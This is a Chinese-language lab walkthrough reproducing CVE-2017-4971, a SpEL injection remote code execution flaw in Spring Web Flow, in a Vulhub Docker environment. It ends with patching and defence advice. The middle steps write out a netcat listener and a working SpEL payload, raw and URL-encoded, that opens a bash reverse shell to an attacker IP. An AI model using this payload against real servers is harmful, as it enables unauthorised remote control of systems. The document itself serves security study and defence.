免责声明:本文所涉及的技术内容仅供学习和研究使用,旨在帮助网络安全从业人员和开发者了解漏洞原理并提升防御能力。请在授权环境下进行实验,严禁用于任何非法活动,否则后果自负。

  1. 漏洞简介
    漏洞编号: CVE-2017-4971
    影响组件: Spring Web Flow
    影响版本: 2.4.0.RELEASE 至 2.4.4.RELEASE
    漏洞类型: 远程代码执行 (RCE)
    核心原因: Spring Web Flow 在处理数据绑定时,由于未能正确处理用户传入的表达式,导致了 SpEL (Spring Expression Language) 表达式注入,攻击者可借此执行任意代码。
  2. 漏洞原理分析
    Spring Web Flow 是一个基于 Spring MVC 的框架,用于构建有状态的、基于流程的 Web 应用程序。
    该漏洞的根源在于 MvcViewFactoryCreator 组件。当它处理视图渲染时,会解析请求参数并进行数据绑定。如果请求中包含以 _(下划线)开头的特定参数,Spring Web Flow 会将其内容作为 SpEL 表达式进行解析和执行。由于没有对表达式内容进行充分的过滤和限制,攻击者可以构造恶意的 SpEL 表达式,通过 Java 的反射机制调用危险类(如 java.lang.ProcessBuilder),从而在目标服务器上执行任意系统命令。
  3. 环境搭建 (使用 Vulhub)
    为了快速复现该漏洞,我们使用 Vulhub 漏洞靶场,它通过 Docker 提供了一键式的漏洞环境。
    2025-09-04T01:17:34.png
    编译并运行:docker-compose build
    docker-compose up -d
    2025-09-04T01:17:46.png
    sudo docker-compose ps 查看
    2025-09-04T01:18:02.png
    2025-09-04T01:18:09.png
  4. 漏洞复现步骤
    步骤一:在攻击机上启动监听
    我们需要一个监听端口来接收从靶机反弹回来的 Shell。在你的攻击机(非 Docker 容器)上打开一个终端,执行以下命令:
    nc -lvnp 1234
    2025-09-04T01:18:29.png
    该终端会处于等待连接的状态。
    步骤二:访问目标并抓取请求
    打开浏览器,访问靶场地址:http://<你的靶机IP>:8080/login。
    配置好浏览器的代理,使用 Burp Suite 等抓包工具进行拦截。
    2025-09-04T01:19:50.png
    2025-09-04T01:18:58.png
    步骤三:构造并发送 Payload
    修改请求的 Body 部分。在原有参数的末尾,添加我们精心构造的恶意 Payload。
    Payload 解释
    我们的目标是执行一个反弹 Shell 命令:bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1。
    这个命令需要通过 SpEL 表达式来执行。构造的 SpEL 表达式如下:
    new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.137.140/1234 0>&1").start()
    注意:
    将 192.168.137.140 替换为你的攻击机 IP 地址。
    将 1234 替换为你正在监听的端口。
    由于 Payload 是通过 HTTP POST 请求的 Body 发送的,需要进行 URL 编码,特别是 & 符号需要编码为 %26,否则会被解析为参数分隔符。
    最终添加到请求 Body 的 Payload 如下:

    &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.137.140/1234+0>%261")).start()=vulhub

&: 分隔前一个参数。
_(...): 触发 SpEL 表达式解析的关键部分。
=vulhub: 赋值部分,内容任意,但必须存在。
将这段代码添加到请求 Body 的末尾,然后点击 "Send" 发送请求。
2025-09-04T01:20:32.png
步骤四:验证攻击结果
发送恶意请求后,立即切换回你之前运行 nc 命令的终端。如果一切顺利,你会看到一个 Shell 提示符,表示你已经成功获取了目标容器的 Shell。
2025-09-04T01:21:10.png
至此,漏洞复现成功。

  1. 漏洞修复与防御建议
    升级组件版本: 官方已在 Spring Web Flow 2.4.5.RELEASE 及以上版本中修复了此漏洞。开发者应立即升级到安全版本。
    Web 应用防火墙 (WAF): 配置 WAF 规则,检测并拦截请求中包含 _(... 等 SpEL 注入特征的恶意流量。
    输入验证: 严格遵循“一切输入皆不可信”的原则,对所有用户输入进行严格的验证和过滤,是防御各类注入漏洞的通用准则。
    最小权限原则: 以非 root 用户运行 Web 应用,即使发生代码执行,也能在一定程度上限制攻击者造成的损害。
  2. 总结
    CVE-2017-4971 是一个典型且危害严重的表达式注入漏洞。它提醒我们,在使用功能强大的框架和语言特性(如 SpEL)时,必须深入理解其安全边界,并对用户输入保持高度警惕。通过复现此漏洞,我们不仅掌握了攻击方法,更重要的是理解了其背后的原理,从而能够在未来的开发和运维工作中更好地进行防御。